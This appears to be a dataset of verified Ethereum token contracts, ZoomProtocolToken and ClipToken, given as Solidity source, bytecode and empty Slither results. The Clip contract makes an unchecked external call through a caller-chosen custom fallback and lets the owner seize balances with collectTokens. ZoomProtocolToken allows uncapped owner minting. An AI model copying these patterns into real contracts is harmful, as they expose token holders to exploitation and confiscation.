address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0xa10c3EB6f8DA6337361C78aeB7D8045c62FFF7b5
|
/**
*Submitted for verification at Etherscan.io on 2018-07-30
*/
pragma solidity ^0.5.16;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
function getOwned() onlyOwner public view returns (address) {
return owner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken,owned {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || allowed[msg.sender][_spender]== 0);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function mintToken( uint256 _value) onlyOwner public returns (bool) {
totalSupply_ += _value;
balances[msg.sender] += _value;
emit Transfer(address(0x0), msg.sender, _value);
return true;
}
}
/**
* @title SimpleToken
* @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using `transfer` and other
* `StandardToken` functions.
*/
contract ZoomProtocolToken is StandardToken {
string public constant name = "ZoomProtocolToken"; // solium-disable-line uppercase
string public constant symbol = "ZOM"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = (100000) * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0x0), msg.sender, INITIAL_SUPPLY);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063c634d03211610066578063c634d0321461050f578063d73dd62314610555578063dd62ed3e146105bb578063f2fde38b1461063357610100565b80638da5cb5b1461039257806395d89b41146103dc578063a9059cbb1461045f578063c3027525146104c557610100565b80632ff2e9dc116100d35780632ff2e9dc14610292578063313ce567146102b057806366188463146102d457806370a082311461033a57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ee57806323b872dd1461020c575b600080fd5b61010d610677565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b0565b604051808215151515815260200191505060405180910390f35b6101f6610835565b6040518082815260200191505060405180910390f35b6102786004803603606081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083f565b604051808215151515815260200191505060405180910390f35b61029a610bf3565b6040518082815260200191505060405180910390f35b6102b8610c03565b604051808260ff1660ff16815260200191505060405180910390f35b610320600480360360408110156102ea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c08565b604051808215151515815260200191505060405180910390f35b61037c6004803603602081101561035057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e99565b6040518082815260200191505060405180910390f35b61039a610ee1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e4610f07565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610424578082015181840152602081019050610409565b50505050905090810190601f1680156104515780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ab6004803603604081101561047557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f40565b604051808215151515815260200191505060405180910390f35b6104cd61115b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61053b6004803603602081101561052557600080fd5b81019080803590602001909291905050506111df565b604051808215151515815260200191505060405180910390f35b6105a16004803603604081101561056b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611306565b604051808215151515815260200191505060405180910390f35b61061d600480360360408110156105d157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611502565b6040518082815260200191505060405180910390f35b6106756004803603602081101561064957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611589565b005b6040518060400160405280601181526020017f5a6f6f6d50726f746f636f6c546f6b656e00000000000000000000000000000081525081565b60008082148061073c57506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b61074557600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561087a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156108c557600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561094e57600080fd5b61099f826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461162790919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a32826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0382600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461162790919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a620186a00281565b601281565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d19576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dad565b610d2c838261162790919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f5a4f4d000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f7b57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610fc657600080fd5b611017826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461162790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110aa826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111b757600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461123b57600080fd5b81600160008282540192505081905550816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b600061139782600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163e90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115e357600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111561163357fe5b818303905092915050565b60008082840190508381101561165057fe5b809150509291505056fea265627a7a723158207102b8c4353493bed5ba925c7bd4ee688bb1659891e13615773dbb7583304daa64736f6c63430005100032
|
{"success": true, "error": null, "results": {}}
| 5,100 |
0x373604ee6f3bce3b7126bb38f54ce6fd5ec59803
|
pragma solidity ^0.4.20;
/**
* @title ContractReceiver
* @dev Receiver for ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function
* if data of token transaction is a function execution
*/
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC223 {
uint public totalSupply;
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract Clip is ERC223, Ownable {
using SafeMath for uint256;
string public name = "ClipToken";
string public symbol = "CLIP";
uint8 public decimals = 8;
uint256 public initialSupply = 120e8 * 1e8;
uint256 public totalSupply;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping (address => uint) balances;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed burner, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function Clip() public {
totalSupply = initialSupply;
balances[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
modifier onlyPayloadSize(uint256 size){
assert(msg.data.length >= size + 4);
_;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
// retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint i = 0; i < targets.length; i++) {
require(targets[i] != 0x0);
frozenAccount[targets[i]] = isFrozen;
FrozenFunds(targets[i], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint i = 0; i < targets.length; i++){
require(unlockUnixTime[targets[i]] < unixTimes[i]);
unlockUnixTime[targets[i]] = unixTimes[i];
LockedFunds(targets[i], unixTimes[i]);
}
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf(_from) >= _unitAmount);
balances[_from] = SafeMath.sub(balances[_from], _unitAmount);
totalSupply = SafeMath.sub(totalSupply, _unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = SafeMath.add(totalSupply, _unitAmount);
balances[_to] = SafeMath.add(balances[_to], _unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function distributeTokens(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = SafeMath.mul(amount, 1e8);
uint256 totalAmount = SafeMath.mul(amount, addresses.length);
require(balances[msg.sender] >= totalAmount);
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
balances[addresses[i]] = SafeMath.add(balances[addresses[i]], amount);
Transfer(msg.sender, addresses[i], amount);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint i = 0; i < addresses.length; i++) {
require(amounts[i] > 0
&& addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
amounts[i] = SafeMath.mul(amounts[i], 1e8);
require(balances[addresses[i]] >= amounts[i]);
balances[addresses[i]] = SafeMath.sub(balances[addresses[i]], amounts[i]);
totalAmount = SafeMath.add(totalAmount, amounts[i]);
Transfer(addresses[i], msg.sender, amounts[i]);
}
balances[msg.sender] = SafeMath.add(balances[msg.sender], totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf(owner) >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if (msg.value > 0) owner.transfer(msg.value);
balances[owner] = SafeMath.sub(balances[owner], distributeAmount);
balances[msg.sender] = SafeMath.add(balances[msg.sender], distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
/**
* @dev token fallback function
*/
function() payable public {
autoDistribute();
}
}
|
0x60606040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461014857806306fdde031461017557806318160ddd14610203578063256fa2411461022c578063313ce567146102a7578063378dc3dc146102d657806340c10f19146102ff5780634f25eced1461035957806364ddc6051461038257806370a082311461041c5780637d64bcb4146104695780638da5cb5b1461049657806395d89b41146104eb5780639dc29fac14610579578063a8f11eb9146105bb578063a9059cbb146105c5578063b414d4b61461061f578063be45fd6214610670578063c341b9f61461070d578063cbbe974b14610772578063d39b1d48146107bf578063f0dc4171146107e2578063f2fde38b14610894578063f6368f8a146108cd575b6101466109ad565b005b341561015357600080fd5b61015b610cf3565b604051808215151515815260200191505060405180910390f35b341561018057600080fd5b610188610d06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c85780820151818401526020810190506101ad565b50505050905090810190601f1680156101f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020e57600080fd5b610216610dae565b6040518082815260200191505060405180910390f35b341561023757600080fd5b61028d600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019091905050610db8565b604051808215151515815260200191505060405180910390f35b34156102b257600080fd5b6102ba6111e3565b604051808260ff1660ff16815260200191505060405180910390f35b34156102e157600080fd5b6102e96111fa565b6040518082815260200191505060405180910390f35b341561030a57600080fd5b61033f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611200565b604051808215151515815260200191505060405180910390f35b341561036457600080fd5b61036c6113e5565b6040518082815260200191505060405180910390f35b341561038d57600080fd5b61041a600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506113eb565b005b341561042757600080fd5b610453600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115ef565b6040518082815260200191505060405180910390f35b341561047457600080fd5b61047c611638565b604051808215151515815260200191505060405180910390f35b34156104a157600080fd5b6104a9611700565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffff